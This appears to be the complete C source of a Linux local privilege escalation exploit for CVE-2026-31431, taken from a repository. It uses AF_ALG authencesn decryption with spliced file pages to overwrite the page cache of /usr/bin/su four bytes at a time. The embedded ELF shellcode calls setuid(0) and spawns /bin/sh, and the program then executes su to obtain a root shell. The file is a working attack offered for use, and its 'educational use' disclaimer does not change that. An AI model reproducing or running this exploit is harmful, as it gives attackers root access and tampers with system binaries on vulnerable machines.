CVE-2026-31431-Copy-Fail/exploit-scripts/exploit.c
2026-05-18 14:31:05 +08:00

274 lines
No EOL
9.6 KiB
C

/**
* Title : CopyFail CVE-2026-31431 Linux LPE exploit
* Date : 2026-05-15
* Author : Axura (@4xura) - https://4xura.com
*
* Description:
* ------------
* Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte
* destination-side scratch write into a page-cache overwrite primitive.
* The exploit places the controlled 4-byte value in AAD[4:8], splices a
* file-backed page range into the AEAD request, triggers decrypt, and
* repeats that primitive until the replacement payload is staged into the
* target executable's page cache.
*
* Usage:
* ------
* gcc -static -Wall -Wextra -O2 -o exploit exploit.c
* ./exploit
* DEBUG=1 ./exploit
* ./exploit <target_basename>
*
* Notes:
* ------
* Replace PAYLOAD_BYTES with the final replacement byte sequence to stage
* into the target executable for arbitrary code execution.
* The default target is /usr/bin/su. Authentication failure during recv()
* is expected; the exploit only requires authencesn() to execute far enough
* for the 4-byte scratch write to occur before the error is returned.
* Provided for educational use. Use responsibly.
*
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
enum {
CRYPTO_AUTHENC_KEYA_UNSPEC,
CRYPTO_AUTHENC_KEYA_PARAM,
};
struct crypto_authenc_key_param {
uint32_t enckeylen;
};
static int debug_enabled;
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
/*
* [ SHELLCODE ]
* Replacement bytes to stage into the target executable.
*
* Each loop iteration below consumes 4 bytes from this array and turns them
* into one page-cache overwrite primitive.
*/
static const unsigned char PAYLOAD_BYTES[] = {
/* TODO: insert replacement bytes here (default: exec("/bin/sh)) */
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES);
static void open_authencesn_socket(int *tfm_fd, int *op_fd)
{
struct {
struct rtattr rta;
struct crypto_authenc_key_param param;
unsigned char keys[16 + 16];
} keyblob = {
.rta = {
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
},
.param = {
.enckeylen = htonl(16),
},
};
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
};
memset(keyblob.keys, 0x00, sizeof(keyblob.keys));
*tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (*tfm_fd < 0)
die("socket(AF_ALG)");
if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(authencesn)");
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY,
&keyblob, sizeof(keyblob)) < 0)
die("setsockopt(ALG_SET_KEY)");
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,
NULL, 4) < 0)
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
*op_fd = accept(*tfm_fd, NULL, NULL);
if (*op_fd < 0)
die("accept");
}
static void queue_aad(int op_fd, const unsigned char chunk[4])
{
unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] };
unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0};
unsigned char cbuf[
CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(ivbuf)) +
CMSG_SPACE(sizeof(uint32_t))
] = {0};
struct af_alg_iv *iv = (void *)ivbuf;
struct iovec iov = {
.iov_base = aad,
.iov_len = sizeof(aad),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = cbuf,
.msg_controllen = sizeof(cbuf),
};
struct cmsghdr *cmsg;
uint32_t op = 0; /* ALG_OP_DECRYPT */
uint32_t assoclen = 8;
/*
* AAD layout:
*
* +------+------+------+------+------+------+------+------+
* | A | A | A | A | w0 | w1 | w2 | w3 |
* +------+------+------+------+------+------+------+------+
*
* Bytes 4..7 become seqno_lo, which authencesn later writes.
*/
iv->ivlen = 16;
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf));
memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
die("sendmsg(AAD)");
}
static void splice_target_window(int file_fd, int op_fd, off_t target_offset)
{
int pipefd[2];
loff_t splice_off = 0;
size_t splice_len = (size_t)target_offset + 4;
/*
* Imported layout:
*
* file[0 : target_offset] -> ciphertext region
* file[target_offset : +4] -> preserved tag tail
*
* authsize = 4 makes those last 4 imported bytes sit exactly where
* authencesn later performs its scratch write.
*/
if (pipe(pipefd) < 0)
die("pipe");
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
die("splice(file -> pipe)");
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
die("splice(pipe -> AF_ALG)");
close(pipefd[0]);
close(pipefd[1]);
}
static void trigger_decrypt(int op_fd, off_t target_offset)
{
size_t rx_len = (size_t)target_offset + 8;
unsigned char *outbuf = malloc(rx_len);
ssize_t n;
if (!outbuf)
die("malloc(recv)");
n = recv(op_fd, outbuf, rx_len, 0);
if (debug_enabled && n < 0)
printf(" [-] recv() returned: %s\n", strerror(errno));
free(outbuf);
}
static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4])
{
int tfm_fd, op_fd;
if (debug_enabled) {
printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n",
(unsigned long long)target_offset,
chunk[0], chunk[1], chunk[2], chunk[3]);
}
open_authencesn_socket(&tfm_fd, &op_fd);
queue_aad(op_fd, chunk);
splice_target_window(file_fd, op_fd, target_offset);
trigger_decrypt(op_fd, target_offset);
close(op_fd);
close(tfm_fd);
}
int main(int argc, char **argv)
{
const char *target = "/usr/bin/su";
int file_fd;
size_t i;
if (getenv("DEBUG"))
debug_enabled = 1;
if (argc > 1) {
static char path[256];
snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]);
target = path;
}
printf("[+] target : %s\n", target);
printf("[+] payload : %zu bytes\n", PAYLOAD_LEN);
printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n");
file_fd = open(target, O_RDONLY);
if (file_fd < 0)
die("open(target)");
for (i = 0; i < PAYLOAD_LEN; i += 4)
overwrite_4_bytes(file_fd, (off_t)i, PAYLOAD_BYTES + i);
close(file_fd);
printf("[+] payload staged into page cache, executing target...\n");
execl("/bin/su", "su", NULL);
die("execl(su)");
return 0;
}